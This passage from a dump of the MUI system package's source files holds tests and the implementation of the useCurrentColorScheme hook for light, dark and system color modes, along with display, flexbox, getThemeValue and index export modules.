mode changes from `light` to `auto`', () => {\n      window.matchMedia = createMatchMedia(true); // system matches 'prefers-color-scheme: dark'\n      function Data() {\n        const { ...data } = useCurrentColorScheme({\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'dark'],\n        });\n        return <button>{JSON.stringify(data)}</button>;\n      }\n      const { container } = render(<Data />);\n\n      act(() => {\n        eventHandlers\n          .get('storage')\n          .broadcastEvent?.({ key: DEFAULT_MODE_STORAGE_KEY, newValue: 'system' });\n      });\n\n      expect(JSON.parse(container.firstChild.textContent)).to.deep.equal({\n        mode: 'system',\n        systemMode: 'dark',\n        lightColorScheme: 'light',\n        darkColorScheme: 'dark',\n        colorScheme: 'dark',\n      });\n    });\n\n    it('storage mode is deleted', () => {\n      storage[DEFAULT_MODE_STORAGE_KEY] = 'dark';\n      function Data() {\n        const { ...data } = useCurrentColorScheme({\n          defaultMode: 'system',\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'dark'],\n        });\n        return <button>{JSON.stringify(data)}</button>;\n      }\n      const { container } = render(<Data />);\n\n      act(() => {\n        eventHandlers\n          .get('storage')\n          .broadcastEvent?.({ key: DEFAULT_MODE_STORAGE_KEY, newValue: null });\n      });\n\n      expect(JSON.parse(container.firstChild.textContent)).to.deep.equal({\n        mode: 'system',\n        systemMode: 'light',\n        lightColorScheme: 'light',\n        darkColorScheme: 'dark',\n        colorScheme: 'light',\n      });\n    });\n\n    it('storage lightColorScheme & darkColorScheme changes', () => {\n      function Data() {\n        const { ...data } = useCurrentColorScheme({\n          defaultMode: 'system',\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'dark', 'light-dim', 'dark-dim'],\n        });\n        return <button>{JSON.stringify(data)}</button>;\n      }\n      const { container } = render(<Data />);\n\n      act(() => {\n        eventHandlers.get('storage').broadcastEvent?.({\n          key: `${DEFAULT_COLOR_SCHEME_STORAGE_KEY}-light`,\n          newValue: 'light-dim',\n        });\n      });\n\n      expect(JSON.parse(container.firstChild.textContent)).to.deep.equal({\n        mode: 'system',\n        systemMode: 'light',\n        lightColorScheme: 'light-dim',\n        darkColorScheme: 'dark',\n        colorScheme: 'light-dim',\n      });\n\n      act(() => {\n        eventHandlers.get('storage').broadcastEvent?.({\n          key: `${DEFAULT_COLOR_SCHEME_STORAGE_KEY}-dark`,\n          newValue: 'dark-dim',\n        });\n      });\n\n      act(() => {\n        trigger({ matches: true });\n      });\n\n      expect(JSON.parse(container.firstChild.textContent)).to.deep.equal({\n        mode: 'system',\n        systemMode: 'dark',\n        lightColorScheme: 'light-dim',\n        darkColorScheme: 'dark-dim',\n        colorScheme: 'dark-dim',\n      });\n    });\n\n    it('reset mode in storage', () => {\n      function Data() {\n        const { setMode } = useCurrentColorScheme({\n          defaultMode: 'system',\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'dark'],\n        });\n        return (\n          <div>\n            <button data-testid=\"dark\" onClick={() => setMode('dark')} />\n            <button data-testid=\"reset\" onClick={() => setMode(null)} />\n          </div>\n        );\n      }\n      render(<Data />);\n\n      fireEvent.click(screen.getByTestId('dark'));\n\n      fireEvent.click(screen.getByTestId('reset'));\n\n      expect(\n        window.localStorage.setItem.lastCall.calledWith(DEFAULT_MODE_STORAGE_KEY, 'system'),\n      ).to.equal(true);\n    });\n\n    it('reset color scheme in storage', () => {\n      function Data() {\n        const { setColorScheme } = useCurrentColorScheme({\n          defaultMode: 'system',\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'dark'],\n        });\n        return (\n          <div>\n            <button data-testid=\"dark\" onClick={() => setColorScheme('dark')} />\n            <button data-testid=\"reset\" onClick={() => setColorScheme(null)} />\n          </div>\n        );\n      }\n      render(<Data />);\n\n      fireEvent.click(screen.getByTestId('dark'));\n\n      window.localStorage.setItem.resetHistory();\n      expect(window.localStorage.setItem.callCount).to.equal(0); // reset the calls to neglect initial setItem in the assertion below\n\n      fireEvent.click(screen.getByTestId('reset'));\n\n      expect(\n        window.localStorage.setItem.calledWith(\n          `${DEFAULT_COLOR_SCHEME_STORAGE_KEY}-light`,\n          'light',\n        ),\n      ).to.equal(true);\n      expect(\n        window.localStorage.setItem.calledWith(`${DEFAULT_COLOR_SCHEME_STORAGE_KEY}-dark`, 'dark'),\n      ).to.equal(true);\n    });\n  });\n\n  describe('Custom storage', () => {\n    let cache = {};\n\n    beforeEach(() => {\n      cache = {};\n    });\n\n    const storageManager = ({ key }) => ({\n      get(defaultValue) {\n        return cache[key] || defaultValue;\n      },\n      set(value) {\n        cache[key] = value;\n      },\n      subscribe: (handler) => {\n        const listener = (event) => {\n          const value = event.newValue;\n          if (event.key === key) {\n            handler(value);\n          }\n        };\n        window.addEventListener('storage', listener);\n        return () => {\n          window.removeEventListener('storage', listener);\n        };\n      },\n    });\n\n    it('use custom storage', () => {\n      function Data() {\n        const { setMode, ...data } = useCurrentColorScheme({\n          storageManager,\n          defaultMode: 'light',\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'dark'],\n        });\n        return (\n          <button\n            onClick={() => {\n              setMode('dark');\n            }}\n          >\n            {JSON.stringify(data)}\n          </button>\n        );\n      }\n      const { container } = render(<Data />);\n\n      fireEvent.click(container.firstChild);\n\n      expect(storageManager({ key: DEFAULT_MODE_STORAGE_KEY }).get()).to.equal('dark');\n    });\n\n    it('handle subscription', () => {\n      function Data() {\n        const { setMode, ...data } = useCurrentColorScheme({\n          storageManager,\n          defaultMode: 'light',\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'dark'],\n        });\n        return (\n          <button\n            onClick={() => {\n              setMode('dark');\n            }}\n          >\n            {JSON.stringify(data)}\n          </button>\n        );\n      }\n      const { container } = render(<Data />);\n\n      act(() => {\n        eventHandlers.get('storage').broadcastEvent?.({\n          key: DEFAULT_MODE_STORAGE_KEY,\n          newValue: 'dark',\n        });\n      });\n\n      expect(JSON.parse(container.firstChild.textContent)).to.deep.equal({\n        mode: 'dark',\n        lightColorScheme: 'light',\n        darkColorScheme: 'dark',\n        colorScheme: 'dark',\n      });\n    });\n\n    it('able to disable storage manager', () => {\n      function Data() {\n        const { setMode, ...data } = useCurrentColorScheme({\n          storageManager: null,\n          defaultMode: 'light',\n          defaultLightColorScheme: 'light',\n          defaultDarkColorScheme: 'dark',\n          supportedColorSchemes: ['light', 'dark'],\n        });\n        return (\n          <button\n            onClick={() => {\n              setMode('dark');\n            }}\n          >\n            {JSON.stringify(data)}\n          </button>\n        );\n      }\n      expect(() => render(<Data />)).not.to.throw();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/cssVars/useCurrentColorScheme.ts",
    "content": "'use client';\nimport * as React from 'react';\nimport {\n  DEFAULT_MODE_STORAGE_KEY,\n  DEFAULT_COLOR_SCHEME_STORAGE_KEY,\n} from '../InitColorSchemeScript/InitColorSchemeScript';\nimport type { StorageManager } from './localStorageManager';\nimport localStorageManager from './localStorageManager';\n\nexport type Mode = 'light' | 'dark' | 'system';\nexport type SystemMode = Exclude<Mode, 'system'>;\n\nexport interface State<SupportedColorScheme extends string> {\n  /**\n   * User selected mode.\n   * Note: on the server, mode is always undefined\n   */\n  mode: 'light' | 'dark' | 'system' | undefined;\n  /**\n   * Only valid if `mode: 'system'`, either 'light' | 'dark'.\n   */\n  systemMode: 'light' | 'dark' | undefined;\n  /**\n   * The color scheme for the light mode.\n   */\n  lightColorScheme: SupportedColorScheme;\n  /**\n   * The color scheme for the dark mode.\n   */\n  darkColorScheme: SupportedColorScheme;\n}\n\nexport type Result<SupportedColorScheme extends string> = State<SupportedColorScheme> & {\n  /**\n   * The current application color scheme. It is always `undefined` on the server.\n   */\n  colorScheme: SupportedColorScheme | undefined;\n  /**\n   * `mode` is saved to internal state and localStorage\n   * If `mode` is null, it will be reset to the defaultMode\n   */\n  setMode: (mode: Mode | null) => void;\n  /**\n   * `colorScheme` is saved to internal state and localStorage\n   * If `colorScheme` is null, it will be reset to the defaultColorScheme (light | dark)\n   */\n  setColorScheme: (\n    colorScheme:\n      | SupportedColorScheme\n      | Partial<{\n          light: SupportedColorScheme | null;\n          dark: SupportedColorScheme | null;\n        }>\n      | null,\n  ) => void;\n};\n\nfunction noop() {}\n\nexport function getSystemMode(mode: undefined | string): SystemMode | undefined {\n  if (\n    typeof window !== 'undefined' &&\n    typeof window.matchMedia === 'function' &&\n    mode === 'system'\n  ) {\n    const mql = window.matchMedia('(prefers-color-scheme: dark)');\n    if (mql.matches) {\n      return 'dark';\n    }\n    return 'light';\n  }\n  return undefined;\n}\n\nfunction processState<T>(\n  state: { mode: Mode | undefined; systemMode: SystemMode | undefined },\n  callback: (mode: SystemMode) => T,\n) {\n  if (state.mode === 'light' || (state.mode === 'system' && state.systemMode === 'light')) {\n    return callback('light');\n  }\n  if (state.mode === 'dark' || (state.mode === 'system' && state.systemMode === 'dark')) {\n    return callback('dark');\n  }\n  return undefined;\n}\n\nexport function getColorScheme<SupportedColorScheme extends string>(\n  state: State<SupportedColorScheme>,\n) {\n  return processState(state, (mode) => {\n    if (mode === 'light') {\n      return state.lightColorScheme;\n    }\n    if (mode === 'dark') {\n      return state.darkColorScheme;\n    }\n    return undefined;\n  });\n}\n\ninterface UseCurrentColoSchemeOptions<SupportedColorScheme extends string> {\n  defaultLightColorScheme: SupportedColorScheme;\n  defaultDarkColorScheme: SupportedColorScheme;\n  supportedColorSchemes: Array<SupportedColorScheme>;\n  defaultMode?: Mode | undefined;\n  modeStorageKey?: string | undefined;\n  colorSchemeStorageKey?: string | undefined;\n  storageWindow?: Window | null | undefined;\n  storageManager?: StorageManager | null | undefined;\n  noSsr?: boolean | undefined;\n}\n\nexport default function useCurrentColorScheme<SupportedColorScheme extends string>(\n  options: UseCurrentColoSchemeOptions<SupportedColorScheme>,\n): Result<SupportedColorScheme> {\n  const {\n    defaultMode = 'light',\n    defaultLightColorScheme,\n    defaultDarkColorScheme,\n    supportedColorSchemes = [],\n    modeStorageKey = DEFAULT_MODE_STORAGE_KEY,\n    colorSchemeStorageKey = DEFAULT_COLOR_SCHEME_STORAGE_KEY,\n    storageWindow = typeof window === 'undefined' ? undefined : window,\n    storageManager = localStorageManager,\n    noSsr = false,\n  } = options;\n\n  const joinedColorSchemes = supportedColorSchemes.join(',');\n  const isMultiSchemes = supportedColorSchemes.length > 1;\n  const modeStorage = React.useMemo(\n    () => storageManager?.({ key: modeStorageKey, storageWindow }),\n    [storageManager, modeStorageKey, storageWindow],\n  );\n  const lightStorage = React.useMemo(\n    () => storageManager?.({ key: `${colorSchemeStorageKey}-light`, storageWindow }),\n    [storageManager, colorSchemeStorageKey, storageWindow],\n  );\n  const darkStorage = React.useMemo(\n    () => storageManager?.({ key: `${colorSchemeStorageKey}-dark`, storageWindow }),\n    [storageManager, colorSchemeStorageKey, storageWindow],\n  );\n\n  const [state, setState] = React.useState(() => {\n    const initialMode = modeStorage?.get(defaultMode) || defaultMode;\n    const lightColorScheme = lightStorage?.get(defaultLightColorScheme) || defaultLightColorScheme;\n    const darkColorScheme = darkStorage?.get(defaultDarkColorScheme) || defaultDarkColorScheme;\n    return {\n      mode: initialMode,\n      systemMode: getSystemMode(initialMode),\n      lightColorScheme,\n      darkColorScheme,\n    } as State<SupportedColorScheme>;\n  });\n  const [isClient, setIsClient] = React.useState(noSsr || !isMultiSchemes);\n  React.useEffect(() => {\n    setIsClient(true); // to rerender the component after hydration\n  }, []);\n\n  const colorScheme = getColorScheme(state);\n\n  const setMode: Result<SupportedColorScheme>['setMode'] = React.useCallback(\n    (mode) => {\n      setState((currentState) => {\n        if (mode === currentState.mode) {\n          // do nothing if mode does not change\n          return currentState;\n        }\n        const newMode = mode ?? defaultMode;\n        modeStorage?.set(newMode);\n        return {\n          ...currentState,\n          mode: newMode,\n          systemMode: getSystemMode(newMode),\n        };\n      });\n    },\n    [modeStorage, defaultMode],\n  );\n\n  const setColorScheme: Result<SupportedColorScheme>['setColorScheme'] = React.useCallback(\n    (value) => {\n      if (!value) {\n        setState((currentState) => {\n          lightStorage?.set(defaultLightColorScheme);\n          darkStorage?.set(defaultDarkColorScheme);\n          return {\n            ...currentState,\n            lightColorScheme: defaultLightColorScheme,\n            darkColorScheme: defaultDarkColorScheme,\n          };\n        });\n      } else if (typeof value === 'string') {\n        if (value && !joinedColorSchemes.includes(value)) {\n          console.error(`\\`${value}\\` does not exist in \\`theme.colorSchemes\\`.`);\n        } else {\n          setState((currentState) => {\n            const newState = { ...currentState };\n            processState(currentState, (mode) => {\n              if (mode === 'light') {\n                lightStorage?.set(value);\n                newState.lightColorScheme = value;\n              }\n              if (mode === 'dark') {\n                darkStorage?.set(value);\n                newState.darkColorScheme = value;\n              }\n            });\n            return newState;\n          });\n        }\n      } else {\n        setState((currentState) => {\n          const newState = { ...currentState };\n          const newLightColorScheme = value.light === null ? defaultLightColorScheme : value.light;\n          const newDarkColorScheme = value.dark === null ? defaultDarkColorScheme : value.dark;\n\n          if (newLightColorScheme) {\n            if (!joinedColorSchemes.includes(newLightColorScheme)) {\n              console.error(`\\`${newLightColorScheme}\\` does not exist in \\`theme.colorSchemes\\`.`);\n            } else {\n              newState.lightColorScheme = newLightColorScheme;\n              lightStorage?.set(newLightColorScheme);\n            }\n          }\n\n          if (newDarkColorScheme) {\n            if (!joinedColorSchemes.includes(newDarkColorScheme)) {\n              console.error(`\\`${newDarkColorScheme}\\` does not exist in \\`theme.colorSchemes\\`.`);\n            } else {\n              newState.darkColorScheme = newDarkColorScheme;\n              darkStorage?.set(newDarkColorScheme);\n            }\n          }\n\n          return newState;\n        });\n      }\n    },\n    [\n      joinedColorSchemes,\n      lightStorage,\n      darkStorage,\n      defaultLightColorScheme,\n      defaultDarkColorScheme,\n    ],\n  );\n\n  const handleMediaQuery = React.useCallback(\n    (event?: MediaQueryListEvent) => {\n      if (state.mode === 'system') {\n        setState((currentState) => {\n          const systemMode = event?.matches ? 'dark' : 'light';\n\n          // Early exit, nothing changed.\n          if (currentState.systemMode === systemMode) {\n            return currentState;\n          }\n          return { ...currentState, systemMode };\n        });\n      }\n    },\n    [state.mode],\n  );\n\n  // Ref hack to avoid adding handleMediaQuery as a dep\n  const mediaListener = React.useRef(handleMediaQuery);\n  mediaListener.current = handleMediaQuery;\n\n  React.useEffect(() => {\n    if (typeof window.matchMedia !== 'function' || !isMultiSchemes) {\n      return undefined;\n    }\n    const handler = (...args: any) => mediaListener.current(...args);\n\n    // Always listen to System preference\n    const media = window.matchMedia('(prefers-color-scheme: dark)');\n\n    // Intentionally use deprecated listener methods to support iOS & old browsers\n    media.addListener(handler);\n    handler(media);\n    return () => {\n      media.removeListener(handler);\n    };\n  }, [isMultiSchemes]);\n\n  // Handle when localStorage has changed\n  React.useEffect(() => {\n    if (isMultiSchemes) {\n      const unsubscribeMode =\n        modeStorage?.subscribe((value: Mode) => {\n          if (!value || ['light', 'dark', 'system'].includes(value)) {\n            setMode((value as Mode) || defaultMode);\n          }\n        }) || noop;\n      const unsubscribeLight =\n        lightStorage?.subscribe((value: SupportedColorScheme) => {\n          if (!value || joinedColorSchemes.match(value)) {\n            setColorScheme({ light: value as SupportedColorScheme | null });\n          }\n        }) || noop;\n      const unsubscribeDark =\n        darkStorage?.subscribe((value: SupportedColorScheme) => {\n          if (!value || joinedColorSchemes.match(value)) {\n            setColorScheme({ dark: value as SupportedColorScheme | null });\n          }\n        }) || noop;\n      return () => {\n        unsubscribeMode();\n        unsubscribeLight();\n        unsubscribeDark();\n      };\n    }\n    return undefined;\n  }, [\n    setColorScheme,\n    setMode,\n    joinedColorSchemes,\n    defaultMode,\n    storageWindow,\n    isMultiSchemes,\n    modeStorage,\n    lightStorage,\n    darkStorage,\n  ]);\n\n  return {\n    ...state,\n    mode: isClient ? state.mode : undefined,\n    systemMode: isClient ? state.systemMode : undefined,\n    colorScheme: isClient ? colorScheme : undefined,\n    setMode,\n    setColorScheme,\n  };\n}\n"
  },
  {
    "path": "packages/mui-system/src/display/display.d.ts",
    "content": "import { PropsFor, SimpleStyleFunction } from '../style';\n\ndeclare const display: SimpleStyleFunction<\n  'display' | 'displayPrint' | 'overflow' | 'textOverflow' | 'visibility' | 'whiteSpace'\n>;\n\nexport type DisplayProps = PropsFor<typeof display>;\n\nexport default display;\n"
  },
  {
    "path": "packages/mui-system/src/display/display.js",
    "content": "import style from '../style';\nimport compose from '../compose';\n\nexport const displayPrint = style({\n  prop: 'displayPrint',\n  cssProperty: false,\n  transform: (value) => ({\n    '@media print': {\n      display: value,\n    },\n  }),\n});\n\nexport const displayRaw = style({\n  prop: 'display',\n});\n\nexport const overflow = style({\n  prop: 'overflow',\n});\n\nexport const textOverflow = style({\n  prop: 'textOverflow',\n});\n\nexport const visibility = style({\n  prop: 'visibility',\n});\n\nexport const whiteSpace = style({\n  prop: 'whiteSpace',\n});\n\nexport default compose(displayPrint, displayRaw, overflow, textOverflow, visibility, whiteSpace);\n"
  },
  {
    "path": "packages/mui-system/src/display/index.ts",
    "content": "export { default } from './display';\nexport * from './display';\n"
  },
  {
    "path": "packages/mui-system/src/flexbox/flexbox.d.ts",
    "content": "import { PropsFor, SimpleStyleFunction } from '../style';\n\nexport const flexBasis: SimpleStyleFunction<'flexBasis'>;\nexport const flexDirection: SimpleStyleFunction<'flexDirection'>;\nexport const flexWrap: SimpleStyleFunction<'flexWrap'>;\nexport const justifyContent: SimpleStyleFunction<'justifyContent'>;\nexport const alignItems: SimpleStyleFunction<'alignItems'>;\nexport const alignContent: SimpleStyleFunction<'alignContent'>;\nexport const order: SimpleStyleFunction<'order'>;\nexport const flex: SimpleStyleFunction<'flex'>;\nexport const flexGrow: SimpleStyleFunction<'flexGrow'>;\nexport const flexShrink: SimpleStyleFunction<'flexShrink'>;\nexport const alignSelf: SimpleStyleFunction<'alignSelf'>;\nexport const justifyItems: SimpleStyleFunction<'justifyItems'>;\nexport const justifySelf: SimpleStyleFunction<'justifySelf'>;\n\ndeclare const flexbox: SimpleStyleFunction<\n  | 'flexBasis'\n  | 'flexDirection'\n  | 'flexWrap'\n  | 'justifyContent'\n  | 'alignItems'\n  | 'alignContent'\n  | 'order'\n  | 'flex'\n  | 'flexGrow'\n  | 'flexShrink'\n  | 'alignSelf'\n  | 'justifyItems'\n  | 'justifySelf'\n>;\n\nexport type FlexboxProps = PropsFor<typeof flexbox>;\n\nexport default flexbox;\n"
  },
  {
    "path": "packages/mui-system/src/flexbox/flexbox.js",
    "content": "import style from '../style';\nimport compose from '../compose';\n\nexport const flexBasis = style({\n  prop: 'flexBasis',\n});\n\nexport const flexDirection = style({\n  prop: 'flexDirection',\n});\n\nexport const flexWrap = style({\n  prop: 'flexWrap',\n});\n\nexport const justifyContent = style({\n  prop: 'justifyContent',\n});\n\nexport const alignItems = style({\n  prop: 'alignItems',\n});\n\nexport const alignContent = style({\n  prop: 'alignContent',\n});\n\nexport const order = style({\n  prop: 'order',\n});\n\nexport const flex = style({\n  prop: 'flex',\n});\n\nexport const flexGrow = style({\n  prop: 'flexGrow',\n});\n\nexport const flexShrink = style({\n  prop: 'flexShrink',\n});\n\nexport const alignSelf = style({\n  prop: 'alignSelf',\n});\n\nexport const justifyItems = style({\n  prop: 'justifyItems',\n});\n\nexport const justifySelf = style({\n  prop: 'justifySelf',\n});\n\nconst flexbox = compose(\n  flexBasis,\n  flexDirection,\n  flexWrap,\n  justifyContent,\n  alignItems,\n  alignContent,\n  order,\n  flex,\n  flexGrow,\n  flexShrink,\n  alignSelf,\n  justifyItems,\n  justifySelf,\n);\n\nexport default flexbox;\n"
  },
  {
    "path": "packages/mui-system/src/flexbox/index.ts",
    "content": "export { default } from './flexbox';\nexport * from './flexbox';\n"
  },
  {
    "path": "packages/mui-system/src/getThemeValue/getThemeValue.d.ts",
    "content": "export default function getThemeValue(prop: string, value: any, theme: object): any;\n"
  },
  {
    "path": "packages/mui-system/src/getThemeValue/getThemeValue.js",
    "content": "import borders from '../borders';\nimport display from '../display';\nimport flexbox from '../flexbox';\nimport grid from '../cssGrid';\nimport positions from '../positions';\nimport palette from '../palette';\nimport shadows from '../shadows';\nimport sizing from '../sizing';\nimport spacing from '../spacing';\nimport typography from '../typography';\n\nconst filterPropsMapping = {\n  borders: borders.filterProps,\n  display: display.filterProps,\n  flexbox: flexbox.filterProps,\n  grid: grid.filterProps,\n  positions: positions.filterProps,\n  palette: palette.filterProps,\n  shadows: shadows.filterProps,\n  sizing: sizing.filterProps,\n  spacing: spacing.filterProps,\n  typography: typography.filterProps,\n};\n\nexport const styleFunctionMapping = {\n  borders,\n  display,\n  flexbox,\n  grid,\n  positions,\n  palette,\n  shadows,\n  sizing,\n  spacing,\n  typography,\n};\n\nexport const propToStyleFunction = Object.keys(filterPropsMapping).reduce((acc, styleFnName) => {\n  filterPropsMapping[styleFnName].forEach((propName) => {\n    acc[propName] = styleFunctionMapping[styleFnName];\n  });\n\n  return acc;\n}, {});\n\nfunction getThemeValue(prop, value, theme) {\n  const inputProps = {\n    [prop]: value,\n    theme,\n  };\n\n  const styleFunction = propToStyleFunction[prop];\n  return styleFunction ? styleFunction(inputProps) : { [prop]: value };\n}\n\nexport default getThemeValue;\n"
  },
  {
    "path": "packages/mui-system/src/getThemeValue/index.ts",
    "content": "export { default } from './getThemeValue';\nexport * from './getThemeValue';\n"
  },
  {
    "path": "packages/mui-system/src/index.d.ts",
    "content": "// disable automatic export\nexport {};\n\nexport * from './borders';\nexport { default as borders } from './borders';\n\nexport { default as breakpoints, handleBreakpoints, mergeBreakpointsInOrder } from './breakpoints';\n\nexport { default as cssContainerQueries, type CssContainerQueries } from './cssContainerQueries';\n\nexport { default as compose } from './compose';\n\nexport * from './display';\nexport { default as display } from './display';\n\nexport * from './flexbox';\nexport { default as flexbox } from './flexbox';\n\nexport * from './cssGrid';\nexport { default as grid } from './cssGrid';\n\nexport * from './palette';\nexport { default as palette } from './palette';\n\nexport * from './positions';\nexport { default as positions } from './positions';\n\nexport * from './shadows';\nexport { default as shadows } from './shadows';\n\nexport * from './sizing';\nexport { default as sizing } from './sizing';\n\nexport * from './typography';\nexport { default as typography } from './typography';\n\nexport { default as unstable_getThemeValue } from './getThemeValue';\n\n/**\n * The `css` function accepts arrays as values for mobile-first responsive styles.\n * Note that this extends to non-theme values also. For example `display=['none', 'block']`\n * will also works.\n */\nexport type ResponsiveStyleValue<T> = T | Array<T | null> | { [key: string]: T | null };\n\nexport { DefaultTheme } from '@mui/private-theming';\n\nexport {\n  css,\n  keyframes,\n  StyledEngineProvider,\n  Interpolation,\n  CSSInterpolation,\n  CSSObject,\n} from '@mui/styled-engine';\nexport { default as GlobalStyles } from './GlobalStyles';\nexport type { GlobalStylesProps } from './GlobalStyles';\n\nexport * from './style';\nexport { default as style } from './style';\n\nexport * from './spacing';\nexport { default as spacing } from './spacing';\n\nexport {\n  default as unstable_styleFunctionSx,\n  unstable_createStyleFunctionSx,\n  extendSxProp as unstable_extendSxProp,\n  unstable_defaultSxConfig,\n} from './styleFunctionSx';\nexport * from './styleFunctionSx';\n\n// TODO: Remove this function in v6.\n// eslint-disable-next-line @typescript-eslint/naming-convention\nexport function experimental_sx(): any;\n\nexport { default as Box } from './Box';\nexport * from './Box';\n\nexport { default as createBox } from './createBox';\nexport * from './createBox';\n\nexport { default as createStyled } from './createStyled';\nexport * from './createStyled';\n\nexport { default as styled } from './styled';\nexport * from './styled';\n\nexport { default as createTheme } from './createTheme';\nexport * from './createTheme';\n\nexport { default as createBreakpoints } from './createBreakpoints/createBreakpoints';\nexport * from './createBreakpoints/createBreakpoints';\n\nexport { default as createSpacing } from './createTheme/createSpacing';\nexport { SpacingOptions, Spacing } from './createTheme/createSpacing';\n\nexport { default as shape } from './createTheme/shape';\nexport * from './createTheme/shape';\n\nexport { default as useThemeProps, getThemeProps } from './useThemeProps';\n\nexport { default as useTheme } from './useTheme';\nexport * from './useTheme';\n\nexport { default as useThemeWithoutDefault } from './useThemeWithoutDefault';\nexport * from './useThemeWithoutDefault';\n\nexport { default as useMediaQuery } from './useMediaQuery';\nexport * from './useMediaQuery';\n\nexport * from './colorManipulator';\n\nexport { default as ThemeProvider } from './ThemeProvider';\nexport * from './ThemeProvider';\n\nexport { default as unstable_memoTheme } from './memoTheme';\n\nexport { default as unstable_createCssVarsProvider, CreateCssVarsProviderResult } from './cssVars';\nexport { default as unstable_createGetCssVar } from './cssVars/createGetCssVar';\nexport { default as unstable_cssVarsParser } from './cssVars/cssVarsParser';\nexport { default as unstable_prepareCssVars } from './cssVars/prepareCssVars';\nexport { default as unstable_createCssVarsTheme } from './cssVars/createCssVarsTheme';\nexport * from './cssVars';\n\nexport { default as responsivePropType } from './responsivePropType';\n\nexport { default as createContainer } from './Container/createContainer';\nexport * from './Container/createContainer';\n\nexport { default as Container } from './Container';\nexport * from './Container';\n\nexport { default as Grid } from './Grid';\nexport * from './Grid';\n\nexport { default as Stack } from './Stack';\nexport * from './Stack';\n\nexport * from './version';\n"
  },
  {
    "path": "packages/mui-system/src/index.js",
    "content": "export { css, keyframes, StyledEngineProvider } from '@mui/styled-engine';\nexport { default as GlobalStyles } from './GlobalStyles';\nexport { default as borders } from './borders';\nexport * from './borders';\nexport { default as breakpoints } from './breakpoints';\nexport { default as cssContainerQueries } from './cssContainerQueries';\nexport {\n  handleBreakpoints,\n  mergeBreakpointsInOrder,\n  resolveBreakpointValues as unstable_resolveBreakpointValues,\n} from './breakpoints';\nexport { default as compose } from './compose';\nexport { default as display } from './display';\nexport { default as flexbox } from './flexbox';\nexport * from './flexbox';\nexport { default as grid } from './cssGrid';\nexport * from './cssGrid';\nexport { default as palette } from './palette';\nexport * from './palette';\nexport { default as positions } from './positions';\nexport * from './positions';\nexport { default as shadows } from './shadows';\nexport { default as sizing } from './sizing';\nexport * from './sizing';\nexport { default as spacing } from './spacing';\nexport * from './spacing';\nexport { default as style, getPath, getStyleValue } from './style';\nexport { default as typography } from './typography';\nexport * from './typography';\nexport {\n  default as unstable_styleFunctionSx,\n  unstable_createStyleFunctionSx,\n  extendSxProp as unstable_extendSxProp,\n  unstable_defaultSxConfig,\n} from './styleFunctionSx';\n// TODO: Remove this function in v6\n// eslint-disable-next-line @typescript-eslint/naming-convention\nexport function experimental_sx() {\n  throw /* minify-error */ new Error(\n    'MUI: The `experimental_sx` has been moved to `theme.unstable_sx`.' +\n      'For more details, see https://github.com/mui/material-ui/pull/35150.',\n  );\n}\nexport { default as unstable_getThemeValue } from './getThemeValue';\nexport { default as Box } from './Box';\nexport * from './Box';\nexport { default as createBox } from './createBox';\nexport { default as createStyled } from './createStyled';\nexport * from './createStyled';\nexport { default as styled } from './styled';\nexport { default as createTheme } from './createTheme';\nexport { default as createBreakpoints } from './createBreakpoints/createBreakpoints';\nexport { default as createSpacing } from './createTheme/createSpacing';\nexport { default as shape } from './createTheme/shape';\nexport { default as useThemeProps, getThemeProps } from './useThemeProps';\nexport { default as useTheme } from './useTheme';\nexport { default as useThemeWithoutDefault } from './useThemeWithoutDefault';\nexport { default as useMediaQuery } from './useMediaQuery';\nexport * from './colorManipulator';\nexport { default as ThemeProvider } from './ThemeProvider';\nexport { default as unstable_memoTheme } from './memoTheme';\nexport { default as unstable_createCssVarsProvider } from './cssVars/createCssVarsProvider';\nexport { default as unstable_createGetCssVar } from './cssVars/createGetCssVar';\nexport { default as unstable_cssVarsParser } from './cssVars/cssVarsParser';\nexport { default as unstable_prepareCssVars } from './cssVars/prepareCssVars';\nexport { default as unstable_createCssVarsTheme } from './cssVars/createCssVarsTheme';\nexport { default as responsivePropType } from './responsivePropType';\nexport { default as RtlProvider } from './RtlProvider';\nexport * from './RtlProvider';\nexport * from './version';\n\n/** ----------------- */\n/** Layout components */\nexport { default as createContainer } from './Container/createContainer';\nexport { default as Container } from './Container';\nexport * from './Container';\n\nexport { default as Grid } from './Grid/Grid';\nexport * from './Grid';\n\nexport { default as Stack } from './Stack/Stack';\nexport * from './Stack';\n"
  },
  {
    "path": "packages/mui-system/src/index.spec.tsx",
    "content": "import * as React from 'react';\nimport styled from 'styled-components';\nimport { breakpoints, display, compose, spacing, style, styled as muiStyled } from '@mui/system';\n\nimport createTheme from '@mui/system/createTheme';\n\nfunction composeTest() {\n  function first(props: { color: string }) {\n    return {};\n  }\n\n  function second(props: { spacing: number }) {\n    return {};\n  }\n\n  const styler = compose(first, second);\n  // @ts-expect-error missing `spacing`\n  styler({ color: 'test' });\n  // @ts-expect-error missing `color`\n  styler({ spacing: 1 });\n  styler({ color: 'test', spacing: 1 });\n\n  // filterProps should exist\n  styler.filterProps;\n}\n\n/**\n * Testing inference of TypeScript + styled-components + @mui/system\n */\nfunction interopTest() {\n  const mixin = style({ prop: 'color' });\n  // built-in style function\n  const SystemSpacingBox = styled('div')<{ m: number }>`\n    ${spacing}\n    ${mixin}\n  `;\n  <SystemSpacingBox m={2} />;\n}\n\nfunction breakpointsTest() {\n  function styleFunction(props: { color?: string }) {\n    return {};\n  }\n\n  const styler = breakpoints(styleFunction);\n  // Allows styleFunction props\n  styler({ color: 'red' });\n}\n\nfunction styleTransformTest() {\n  // styles's implementation does support this kind of transform\n  style({\n    prop: 'vSpacing',\n    cssProperty: false,\n    transform: (value) => ({\n      '& > :not(:last-child)': {\n        marginBottom: value as string,\n      },\n    }),\n  });\n}\n\nfunction styleTypeTest() {\n  const gap = style({\n    prop: 'gap',\n    themeKey: 'spacing',\n  });\n\n  // theme should be optional\n  const 